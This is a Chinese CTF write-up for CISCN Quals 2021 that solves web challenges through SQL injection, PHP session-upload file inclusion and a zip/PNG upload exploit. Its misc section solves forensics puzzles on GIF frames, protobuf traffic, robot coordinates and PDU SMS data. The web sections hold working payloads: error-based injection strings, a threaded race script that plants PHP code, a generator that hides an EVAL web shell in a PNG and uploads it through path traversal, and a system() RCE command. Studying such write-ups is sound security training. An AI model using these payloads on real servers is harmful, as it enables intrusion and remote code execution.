CISCN Quals 2021

Web

easy_sql

稍微尝试发现 union 和 sys 被禁用,同时可以发现报错回显。因此尝试报错注入配合无列名注入。猜测存在一个 flag 表,构造如下载荷得到列名。

1
Submit=%E7%99%BB%E5%BD%95&passwd=null') or extractvalue(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id,no))c),0x7e)) %23&uname=1111

得到如下列名。

text
1
Duplicate column name '4a9ad912-9910-4909-82f4-0fe381be9798'

再次构造如下载荷分别读出两半 flag。

1
Submit=%E7%99%BB%E5%BD%95&passwd=null') or extractvalue(1,concat(0x7e,((select `4a9ad912-9910-4909-82f4-0fe381be9798`  from flag)),0x7e)) %23&uname=1111\

得到结果是 XPATH syntax error: '~CISCN{x4lPe-j6y1T-ThuQ3-Dhd30-Z'

1
Submit=%E7%99%BB%E5%BD%95&passwd=null') or extractvalue(1,concat(0x7e,(select substr((select `4a9ad912-9910-4909-82f4-0fe381be9798`  from flag),12)),0x7e)) %23&uname=1111

得到结果是 XPATH syntax error: '~-j6y1T-ThuQ3-Dhd30-ZlZSt-}~'。将两段 flag 拼合即可得到 flag。

1
CISCN{x4lPe-j6y1T-ThuQ3-Dhd30-ZlZSt-}

middle_source

题目给出的源码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];

if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?>

可以发现存在一个可控的文件包含,同时 flag 位于 /etc 目录下的文件夹中。同时很容易发现存在 /.listing,读取到如下内容。

text
1
total 16 drwxr-xr-x 1 root root 4096 May 6 06:02 . drwxr-xr-x 1 root root 4096 Sep 22 2016 .. -rw-r--r-- 1 root root 257 Apr 29 11:46 index.php -rw-r--r-- 1 root root 19 Apr 29 10:51 you_can_seeeeeeee_me.php

访问 /you_can_seeeeeeee_me.php 可以读取到 phpinfo 从而得知靶机 PHP 版本。猜测需要利用 session.upload_progress 进行文件包含。很容易找到如下参考文章。

https://www.freebuf.com/vuls/202819.html

将文章中的 PoC 稍作修改如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import io
import threading

import requests

sessid = 'H3Xag'
data = {"cf": f"../../../../../var/lib/php/sessions/acafaecced/sess_{sessid}"}


def write(session):
while True:
f = io.BytesIO(b' ' * 1024 * 50)
session.post('http://123.60.215.249:25900/',
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(readfile("/etc/acgfdffhbd/gfediefagf/hedbfegbjb/eegcbdabad/ibadcafecb/fl444444g")); ?>'},
files={'file': ('actuallyEmpty.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:

resp = session.post('http://123.60.215.249:25900/', data=data)
if 'CISCN' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

先利用 var_dump(scandir()) 遍历 /etc 目录,找到奇怪的路径,层层访问后可以得到 fl444444g 文件。利用 var_dump(readfile()) 将其读取出来,即得到 flag。

1
CISCN{FhDKa-MuU0P-FJ9lj-MsZcg-6hXCa-}

upload

题目给出了如下两部分代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}

通过扫描可以得到 example.php 并且得到如下源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}

}

mb_strtolower, image size bypass and zip uploading

上传处对图片的尺寸做出了要求,此时有一种方法来绕过。将下列代码拼接到文章最后即可绕过 getimagesize 的检测。

text
1
2
#define width 1
#define height 1

文件名也经过了过滤,结合后面的代码可知需要上传一个 zip 压缩文档。使用 Latin Capital Letter I with Dot Above 也就是 İ 可以绕过 stristr 并且在 mb_strtolower 之后变成小写字母 i。此时上传压缩文件变为可能,而 example.php 中提供了解压的业务。只要生成一个恶意的压缩文件使其解压后变成一个 PHP 文件即可写入 shell。配合目录穿越即可将 shell 写到可访问的 Web 目录下。

imagecreatefrompng bypass

example.php 中对文件进行了检测和裁剪,因此直接对图片进行修改无法通过检测从而使最后的文件被删除。因此此时需要生成一个可以通过检测的图片马。

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

使用参考的 Repo 中的代码可以生成一个长度为 25 的任意 PHP payload 的正方形图片,只需要将自带的 payload 经过 Raw Deflate 之后再 Inflate 即可。这里直接放上最终的 PoC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import codecs
import os
import zipfile
import zlib
import requests
from mpmath import rand
from myPOC.idat import save_image, bypass_filters, verify

PAYLOAD_LENGTH = 20
# PAYLOAD = "(\"PHP\".\"INFO\")()"
PAYLOAD = "EVAL($_POST[\"H3X\"])"
DEFAULT_COMPRESSED_STRING = b"\xa3\x9f\x67\x54\x6f\x2c\x24\x15\x2b\x11\x67\x12\x54\x6f\x11\x2e\x29\x15\x2b\x21\x67\x22\x6b\x6f\x5f\x53\x10"
ENV = "http://QUESTION_HOST_HERE/"


def RawDeflate(data, compresslevel=9):
compress = zlib.compressobj(
compresslevel, # level: 0-9
zlib.DEFLATED, # method: must be DEFLATED
-zlib.MAX_WBITS, # window size in bits:
# -15..-8: negate, suppress header
# 8..15: normal
# 16..30: subtract 16, gzip header
zlib.DEF_MEM_LEVEL, # mem level: 1..8/9
0 # strategy:
# 0 = Z_DEFAULT_STRATEGY
# 1 = Z_FILTERED
# 2 = Z_HUFFMAN_ONLY
# 3 = Z_RLE
# 4 = Z_FIXED
)
deflated = compress.compress(data)
deflated += compress.flush()
return deflated


def RawInflate(data):
decompress = zlib.decompressobj(-zlib.MAX_WBITS)
inflated = decompress.decompress(data)
inflated += decompress.flush()
return inflated


# Generate payload
payload = (PAYLOAD + "{}").format(" " * int(PAYLOAD_LENGTH - (len(PAYLOAD)))).encode()
print("[+] Using payload ~{}~".format(payload))
payloadWrapped = codecs.encode(
RawInflate(RawDeflate(DEFAULT_COMPRESSED_STRING).replace(b"$_GET[0]($_POST[1]);", payload)), "hex_codec")
print("[+] Generated wrapped payload {}".format(payloadWrapped))

# Generate image
evilImage = "./evilImage.png"
filterProof = bypass_filters(payloadWrapped)
save_image(filterProof, evilImage)
print("[+] Generated Image {}".format(evilImage))
verify(evilImage, payload)
print("[+] Fin")

# Generate zip
if os.path.isfile("poc.zip"):
os.remove("poc.zip")
evilZip = open("evilImage.png", 'rb').read()
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
shellname = f"shell{rand()}.php"
zipFile.writestr(f"../{shellname}", evilZip)
zipFile.close()
evilZip = open("poc.zip", 'a+')
evilZip.write("\n#define width 1 \n#define height 1")
evilZip.close()

# Upload file
url = f"{ENV}?ctf=upload"
payload = {'ctf': 'upload'}
files = [('postedFile', ('%2e%2e%2f%65%78%61%6d%70%6c%65%2fz1p.z%C4%B0p', open('poc.zip', 'rb'), 'application/octet-stream'))]
response = requests.post(url=url, data=payload, files=files, allow_redirects=False)
print(f"[+] Response is {response.text}")

# Trigger file inflate
url = f"{ENV}example.php?ctf=poc"
payload = 'file=z1p.zip'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
response = requests.post(url=url, headers=headers, data=payload, allow_redirects=False)
print(f"[+] Response is {response.text}")
print(f"[+] Maybe done, access at {ENV}example/{shellname}")

运行 PoC 之后可以使用得到的 shell 进行 RCE。使用如下载荷可以得到 flag。

text
1
H3X=system("cat /etc/fllagggaaaa/ejklwfthreu8rt/fgrtgergyer/ergerhrtytrh/rtehtrhytryhre/gfhtryrtgrewfre34t/t43ft34f/flag11e3kerjh3u");
1
flag{12e6ea81-d44a-4251-a9a7-a9ab7fe5ab97}

filter

附件的 composer.json 中给出了如下内容。

1
"monolog/monolog":"1.19"
1
2
3
4
5
6
7
8
9
10
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],]

POP 链

主要 RCE 的点在 BufferHandler.php 下 handlecall_user_func()

$processor$record 是可控的变量,因此向上追溯。在父类 AbstractHandler 的方法中找到以下可调用到的方法。

因此需要找调用到 handlerBatch 的方法,很容易找到 close()flush() 的路线,因此只需要找能触发到一个可控类的 close() 或者 flush() 方法的类。

此时想要触发到这里需要保证 $this->handler 也是 BufferHandler,简单将 $this clone 一份即可达成目的。

SyslogUdpHandler.php 下可以找到一个符合条件的 close() 方法,$socket 是一个可控的变量,因此需要想办法触发到这个 close() 方法。

image-20210522211826020

AbstractHandler.php 可以找到一个析构函数调用到了 close() 方法。同时 SyslogUdpHandler 继承了这个类且没有重写析构函数,因此此处的 close() 恰好可以触发到上述的可控的 close() 方法。

至此整个链条形成,写出如下脚本来生成利用的载荷。

Misc

running pixel

使用 GIF Splitter 将动图逐帧提取出来,很容易将其分为十个动作三十七组。将每一组的一帧与上一组的同一帧作比较可以得出两个像素点的不同之处,以此类推将所有比较得出的不同点渲染在一张图片上。写出如下脚本达成目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image

PATH = "C:/Users/lenovo/PycharmProjects/pyExp/pic/running_pixel.gif.ifl/IMG00"

# 10 10 400
image3 = Image.new("RGB", (400, 400), "white")

count = 0
for i in range(0, 37):
for j in range(0, 10):
image1 = Image.open(PATH + "{:02d}{}.bmp".format(i, j))
image2 = Image.open(PATH + "{:02d}{}.bmp".format(i + 1, j))
print("Comapring {:02d}{}.bmp {:02d}{}.bmp".format(i, j, i + 1, j))
for y in range(0, 400):
for x in range(0, 400):
if image1.getpixel((y, x)) != image2.getpixel((y, x)):
image3.putpixel((y, x), (16, 63, 145))
print(str(image1.getpixel((y, x))) + " diff " + str(image2.getpixel((y, x))))
image3.save("./pic2/result{}.png".format(count))
count += 1
image3.save("result.png")

运行脚本最终可以得到下图,将其顺时针旋转后再水平镜像。同时根据文件夹中的每一帧看出字符完成的先后顺序。按照顺序将字符拼合即可得到 flag。

1
CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

tiny traffic

筛选流量包中的 HTTP 流量,可以发现一部分响应中有 Brotli 的压缩流量。

将传输的二进制文件导出,在 Linux 中通过 yum install brotli 安装 brotli 工具,使用 brotli --stdout --decompress /root/data/extract.bin 来解码内容。在 /test 路由的传输内容解码后可以得到如下 ProtoBuf3 结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
syntax = "proto3";

message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}

message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}

/secret 下的二进制文件提取出来,准备反序列化。使用 protogen 生成 C# 的结构类,得到下列代码。

protogen:https://protogen.marcgravell.com/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// <auto-generated>
// This file was generated by a tool; you should avoid making direct changes.
// Consider using 'partial classes' to extend these types
// Input: my.proto
// </auto-generated>

#region Designer generated code
#pragma warning disable CS0612, CS0618, CS1591, CS3021, IDE0079, IDE1006, RCS1036, RCS1057, RCS1085, RCS1192
[global::ProtoBuf.ProtoContract()]
public partial class PBResponse : global::ProtoBuf.IExtensible
{
private global::ProtoBuf.IExtension __pbn__extensionData;
global::ProtoBuf.IExtension global::ProtoBuf.IExtensible.GetExtensionObject(bool createIfMissing)
=> global::ProtoBuf.Extensible.GetExtensionObject(ref __pbn__extensionData, createIfMissing);

[global::ProtoBuf.ProtoMember(1, Name = @"code")]
public int Code { get; set; }

[global::ProtoBuf.ProtoMember(2, Name = @"flag_part_convert_to_hex_plz")]
public long FlagPartConvertToHexPlz { get; set; }

[global::ProtoBuf.ProtoMember(3, Name = @"dataList")]
public global::System.Collections.Generic.List<Data> dataLists { get; } = new global::System.Collections.Generic.List<Data>();

[global::ProtoBuf.ProtoMember(4, Name = @"flag_part_plz_convert_to_hex")]
public int FlagPartPlzConvertToHex { get; set; }

[global::ProtoBuf.ProtoMember(5, Name = @"flag_last_part")]
[global::System.ComponentModel.DefaultValue("")]
public string FlagLastPart { get; set; } = "";

[global::ProtoBuf.ProtoContract(Name = @"data")]
public partial class Data : global::ProtoBuf.IExtensible
{
private global::ProtoBuf.IExtension __pbn__extensionData;
global::ProtoBuf.IExtension global::ProtoBuf.IExtensible.GetExtensionObject(bool createIfMissing)
=> global::ProtoBuf.Extensible.GetExtensionObject(ref __pbn__extensionData, createIfMissing);

[global::ProtoBuf.ProtoMember(2, Name = @"junk_data")]
[global::System.ComponentModel.DefaultValue("")]
public string JunkData { get; set; } = "";

[global::ProtoBuf.ProtoMember(1, Name = @"flag_part")]
[global::System.ComponentModel.DefaultValue("")]
public string FlagPart { get; set; } = "";

}

}

[global::ProtoBuf.ProtoContract()]
public partial class PBRequest : global::ProtoBuf.IExtensible
{
private global::ProtoBuf.IExtension __pbn__extensionData;
global::ProtoBuf.IExtension global::ProtoBuf.IExtensible.GetExtensionObject(bool createIfMissing)
=> global::ProtoBuf.Extensible.GetExtensionObject(ref __pbn__extensionData, createIfMissing);

[global::ProtoBuf.ProtoMember(1, Name = @"cate_id")]
[global::System.ComponentModel.DefaultValue("")]
public string CateId { get; set; } = "";

[global::ProtoBuf.ProtoMember(2, Name = @"page")]
public int Page { get; set; }

[global::ProtoBuf.ProtoMember(3)]
public int pageSize { get; set; }

}

#pragma warning restore CS0612, CS0618, CS1591, CS3021, IDE0079, IDE1006, RCS1036, RCS1057, RCS1085, RCS1192
#endregion

同样将得到的二进制文件先 Brotli 解压,使用 protobuf-net 库编写代码来反序列化解压后获得的二进制文件。根据 ProtoBuf3 结构可以得知 flag 有几个部分,但是不知道顺序,调试之后可知 dataLists 中有两个元素,大致上根据 ProtoBuf3 结构中的数字排序之后可以得到 flag。编写脚本如下来获取 flag。

1
2
3
4
5
6
7
8
9
10
11
12
internal class Program{
public static void Main(string[] args){
PBResponse response = Serializer.Deserialize<PBResponse>(new FileStream(@"F:\extract.txt", FileMode.Open));
Console.WriteLine("CISCN{" + Convert.ToString(response.FlagPartConvertToHexPlz, 16)
+ response.dataLists[0].FlagPart
+ response.dataLists[1].FlagPart
+ Convert.ToString(response.FlagPartPlzConvertToHex, 16)
+ response.FlagLastPart
+ "}");
}

}
1
CISCN{e66a22e23457889b0fb1146d172a38dc}

robot

分析给出的机器人仿真程序和流量包,提取机器人控制程序控制机器人写出的字符串,flag为”CISCN{md5(机器人绘制的字符串)}

使用 Wireshark 分析流量包,发现 TCP 流中存在数据传输。使用 tshark.exe -r cap.pcapng -T fields -e data > data.bin 将数据分离出来。经过十六进制解码后可以发现其中存在着许多类似于 [27,36,0] 的数据,将其使用正则分离出来后处理成数组。使用如下脚本绘制图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from PIL import Image

pixelsLocations = [[27, 36], [28, 35], [29, 35], [31, 35], [32, 35], [33, 35], [35, 35], [36, 35], [37, 35], [39, 34],
[40, 34], [41, 33], [42, 32], [43, 32], [45, 32], [47, 31], [48, 29], [49, 28], [49, 27], [50, 26],
[50, 25], [51, 23], [51, 22], [51, 21], [52, 20], [52, 19], [52, 18], [52, 17], [52, 16], [52, 15],
[51, 14], [50, 14], [49, 14], [48, 14], [47, 14], [46, 14], [45, 14], [44, 14], [43, 14], [42, 14],
[40, 14], [39, 14], [37, 14], [35, 14], [34, 14], [32, 14], [30, 14], [28, 14], [27, 14], [26, 14],
[25, 14], [24, 14], [23, 14], [22, 14], [21, 15], [20, 16], [19, 17], [18, 19], [18, 21], [18, 22],
[18, 23], [18, 24], [18, 26], [18, 27], [18, 28], [18, 30], [18, 32], [18, 33], [18, 34], [19, 37],
[21, 39], [21, 40], [22, 42], [24, 44], [24, 45], [26, 47], [27, 48], [28, 49], [29, 50], [30, 51],
[31, 52], [33, 53], [34, 53], [35, 54], [36, 54], [37, 54], [38, 54], [39, 54], [40, 54], [41, 54],
[44, 54], [46, 54], [48, 54], [50, 54], [52, 53], [53, 53], [54, 52], [55, 52], [56, 52], [58, 51],
[59, 50], [61, 49], [62, 49], [64, 47], [65, 47], [67, 46], [68, 46], [70, 45], [71, 44], [125, 23],
[125, 23], [124, 22], [123, 22], [121, 21], [118, 20], [115, 19], [113, 19], [112, 18], [111, 18],
[109, 17], [106, 16], [104, 16], [103, 16], [102, 15], [101, 15], [100, 15], [99, 15], [98, 15],
[97, 15], [96, 15], [95, 15], [94, 15], [93, 15], [92, 15], [91, 15], [89, 15], [87, 17], [85, 18],
[85, 19], [84, 21], [83, 21], [82, 22], [82, 23], [81, 24], [81, 26], [80, 28], [80, 29], [80, 31],
[80, 32], [79, 34], [79, 35], [79, 37], [79, 39], [79, 41], [79, 43], [79, 44], [79, 46], [79, 47],
[80, 48], [81, 49], [82, 50], [84, 50], [87, 51], [88, 51], [90, 51], [91, 51], [93, 51], [94, 51],
[97, 51], [100, 50], [101, 49], [102, 49], [103, 48], [105, 46], [106, 45], [108, 43], [109, 42],
[110, 41], [111, 39], [112, 38], [112, 36], [113, 34], [114, 33], [115, 32], [115, 31], [116, 30],
[117, 28], [118, 27], [118, 28], [117, 30], [116, 32], [115, 34], [115, 36], [114, 39], [114, 41],
[114, 43], [114, 45], [114, 47], [114, 48], [114, 50], [114, 52], [114, 53], [115, 54], [116, 55],
[117, 56], [118, 57], [120, 57], [122, 57], [124, 57], [126, 57], [128, 57], [131, 57], [133, 57],
[136, 57], [138, 57], [141, 57], [143, 56], [145, 55], [147, 53], [149, 52], [150, 52], [152, 50],
[153, 49], [155, 47], [156, 46], [157, 45], [212, 24], [212, 24], [213, 23], [211, 21], [210, 20],
[209, 19], [208, 18], [207, 17], [206, 16], [205, 15], [204, 15], [201, 14], [200, 14], [199, 14],
[197, 14], [196, 14], [195, 14], [193, 14], [191, 14], [189, 16], [188, 16], [187, 16], [186, 17],
[185, 17], [183, 18], [183, 20], [183, 21], [182, 22], [182, 23], [182, 24], [182, 25], [182, 26],
[182, 27], [182, 29], [183, 31], [184, 32], [186, 33], [187, 34], [188, 34], [189, 35], [190, 35],
[192, 36], [194, 37], [196, 37], [198, 38], [199, 38], [200, 38], [201, 38], [202, 39], [203, 39],
[204, 40], [207, 41], [207, 42], [208, 43], [208, 44], [208, 45], [208, 46], [208, 48], [208, 50],
[208, 51], [207, 53], [207, 54], [206, 56], [204, 58], [203, 60], [202, 61], [201, 62], [201, 63],
[200, 64], [199, 64], [198, 64], [197, 65], [196, 65], [195, 65], [193, 65], [192, 65], [190, 65],
[189, 65], [187, 65], [185, 65], [184, 65], [183, 65], [181, 64], [180, 63], [179, 63], [178, 62],
[177, 62], [175, 61], [174, 60], [173, 59], [243, 20], [243, 20], [244, 19], [244, 21], [244, 25],
[245, 26], [245, 29], [247, 32], [247, 34], [248, 36], [248, 37], [249, 39], [250, 40], [251, 42],
[251, 43], [252, 44], [254, 44], [256, 44], [258, 44], [260, 42], [262, 41], [263, 40], [265, 38],
[266, 35], [267, 32], [268, 30], [271, 27], [272, 25], [273, 22], [274, 21], [275, 20], [275, 19],
[274, 18], [274, 20], [272, 22], [271, 23], [271, 26], [268, 29], [266, 33], [266, 35], [265, 37],
[263, 40], [262, 42], [262, 44], [261, 47], [260, 49], [259, 51], [258, 55], [258, 56], [257, 58],
[255, 61], [254, 62], [253, 63], [253, 64], [252, 65], [251, 66], [250, 67], [249, 68], [248, 69],
[247, 70], [246, 71], [245, 72], [244, 73], [298, 64], [298, 64], [299, 65], [300, 65], [302, 65],
[304, 65], [306, 65], [308, 65], [309, 65], [312, 65], [315, 65], [317, 65], [319, 65], [322, 65],
[325, 65], [327, 65], [330, 65], [332, 65], [334, 66], [335, 66], [20, 103], [20, 104], [20, 107],
[20, 110], [20, 112], [20, 114], [20, 118], [19, 121], [18, 124], [17, 126], [17, 130], [17, 134],
[17, 137], [17, 139], [17, 142], [17, 143], [17, 146], [17, 147], [17, 149], [17, 150], [17, 149],
[17, 148], [17, 146], [18, 145], [18, 143], [19, 142], [20, 141], [20, 140], [21, 138], [21, 137],
[22, 135], [23, 134], [24, 132], [25, 131], [26, 129], [27, 128], [28, 127], [29, 126], [31, 125],
[32, 124], [32, 123], [34, 121], [35, 120], [37, 120], [38, 119], [40, 118], [41, 118], [43, 117],
[44, 116], [46, 115], [48, 115], [49, 114], [50, 113], [51, 113], [52, 112], [80, 121], [80, 121],
[79, 120], [78, 121], [77, 122], [77, 123], [77, 124], [76, 127], [75, 128], [74, 129], [73, 131],
[73, 132], [73, 133], [72, 135], [72, 136], [72, 137], [72, 138], [72, 139], [72, 140], [72, 142],
[72, 144], [72, 145], [73, 148], [74, 149], [77, 150], [78, 150], [80, 151], [81, 151], [82, 151],
[83, 151], [84, 151], [85, 151], [87, 151], [89, 151], [90, 151], [92, 150], [93, 150], [95, 149],
[97, 147], [98, 146], [99, 146], [100, 145], [101, 144], [102, 142], [102, 141], [104, 139],
[104, 138], [105, 136], [105, 135], [105, 133], [105, 132], [105, 131], [105, 129], [104, 128],
[103, 126], [102, 126], [101, 125], [98, 123], [96, 123], [95, 123], [93, 123], [92, 122], [90, 121],
[89, 121], [86, 120], [147, 98], [147, 98], [146, 99], [145, 100], [144, 103], [143, 104],
[142, 105], [142, 106], [142, 109], [142, 111], [142, 114], [141, 118], [140, 120], [139, 123],
[138, 127], [138, 129], [137, 133], [135, 135], [134, 137], [133, 139], [131, 142], [131, 143],
[131, 145], [130, 146], [129, 149], [128, 152], [128, 153], [127, 156], [127, 157], [126, 158],
[127, 157], [129, 157], [130, 156], [132, 156], [134, 155], [137, 153], [138, 152], [139, 151],
[140, 150], [143, 149], [144, 148], [145, 147], [146, 146], [147, 145], [149, 144], [149, 143],
[150, 142], [151, 141], [152, 140], [152, 139], [153, 138], [153, 137], [153, 136], [153, 135],
[153, 134], [153, 133], [152, 132], [151, 131], [150, 131], [149, 130], [147, 129], [186, 136],
[186, 136], [183, 137], [182, 138], [182, 139], [182, 140], [181, 142], [179, 144], [179, 145],
[179, 147], [178, 149], [177, 150], [177, 151], [177, 152], [177, 154], [177, 156], [177, 157],
[177, 158], [178, 160], [179, 161], [180, 162], [181, 163], [182, 164], [184, 164], [186, 164],
[187, 164], [188, 164], [190, 163], [191, 162], [192, 162], [194, 160], [196, 159], [197, 158],
[197, 156], [198, 155], [200, 153], [200, 152], [201, 150], [201, 149], [201, 148], [201, 147],
[201, 145], [201, 144], [201, 142], [201, 141], [201, 139], [201, 138], [200, 136], [199, 135],
[198, 135], [197, 135], [196, 135], [195, 135], [193, 135], [192, 135], [190, 135], [189, 135],
[223, 167], [223, 167], [224, 167], [226, 167], [228, 167], [229, 167], [232, 167], [233, 167],
[234, 167], [235, 167], [237, 167], [238, 167], [240, 167], [241, 167], [243, 167], [244, 167],
[246, 167], [247, 167], [250, 168], [251, 168], [252, 168], [253, 168], [254, 168], [269, 135],
[271, 136], [273, 138], [275, 140], [276, 141], [278, 143], [280, 145], [282, 147], [284, 149],
[285, 150], [288, 152], [289, 153], [291, 154], [293, 156], [294, 157], [296, 159], [297, 160],
[298, 161], [299, 162], [300, 136], [299, 136], [297, 137], [296, 138], [294, 141], [294, 142],
[293, 144], [293, 145], [292, 148], [291, 149], [290, 151], [288, 153], [288, 155], [287, 156],
[286, 157], [285, 159], [284, 160], [283, 161], [282, 162], [281, 163], [280, 164], [279, 165],
[327, 142], [328, 143], [330, 145], [332, 148], [333, 149], [335, 151], [337, 154], [339, 156],
[341, 158], [342, 159], [345, 160], [347, 161], [348, 162], [350, 164], [351, 165], [352, 166],
[355, 168], [356, 169], [351, 143], [350, 143], [348, 144], [347, 144], [346, 145], [343, 148],
[341, 150], [339, 152], [336, 155], [333, 158], [330, 159], [327, 162], [325, 165], [323, 167],
[322, 168], [319, 170], [317, 171], [316, 171], [314, 172], [313, 172]]
image = Image.new("RGB", (357, 173), "white")
[image.putpixel((location[0], location[1]), (16, 63, 145)) for location in pixelsLocations]
image.save("result2.png")

运行脚本可以得到如下图片,将其上内容转写后转换出其的 MD5 值即可得到 flag。

1
CISCN{d4f1fb80bc11ffd722861367747c0f10}

隔空传话

把附件内容稍微搜一下可以得到数据是 PDU 短信的数据。

http://www.sendsms.cn/pdu/

将数据整理成 JavaScript 的数组形式,配合 a.forEach(v => {console.log(getPDUMetaInfo(v))}) 来得到所有数据的解析,这里贴上部分关键数据。

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
SMSC#
Receipient:+8615030442000
Validity:Rel 4d
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default

hello,bob!what is the flag?
Length:27

SMSC#
Receipient:+10086
Validity:Not Present
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default

the first part of the flag is the first 8 digits of your phone number
Length:69

SMSC#
Receipient:+8615030442000
Validity:Rel 5d
TP_PID:00
TP_DCS:08
TP_DCS-popis:Uncompressed Text
No class
Alphabet:UCS2(16)bit

那其他部分呢
Length:6

SMSC#
Receipient:+8615030442000
Validity:Rel 1h
TP_PID:00
TP_DCS:08
TP_DCS-popis:Uncompressed Text
No class
Alphabet:UCS2(16)bit

看看你能从这些数据里发现什么?w465
Length:16.5

SMSC#+10086
Sender:+8615030442000
TimeStamp:25/04/21 19:43:59 GMT ?
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default

5b4c4ce7b6d5edd6d5cb961fca84f193ca71471db155b62c9df5ea1ebed933929de07bebcdb7853ddaf6303ac6fbaaa0fff6bb23cbfefbecd716028173e1259796fbeebf3f12f43ea54fcfeee54f11c8
Length:160

SMSC#+10086
Sender:+8615030442000
TimeStamp:25/04/21 19:44:43 GMT ?
TP_PID:00
TP_DCS:00
TP_DCS-popis:Uncompressed Text
No class
Alphabet:Default

f5a91d7cb54fd0b83e927bbfbe7d6a121d32649748f453ca0fbffe56162c5e5c4e3f757804e9aeb17a8b441513c78591c43c9493bb2567c6a475e69c59912c9e2f0785fe43761a523efa7c7479effdbf
Length:160
...

将内容处理成如下格式。

text
1
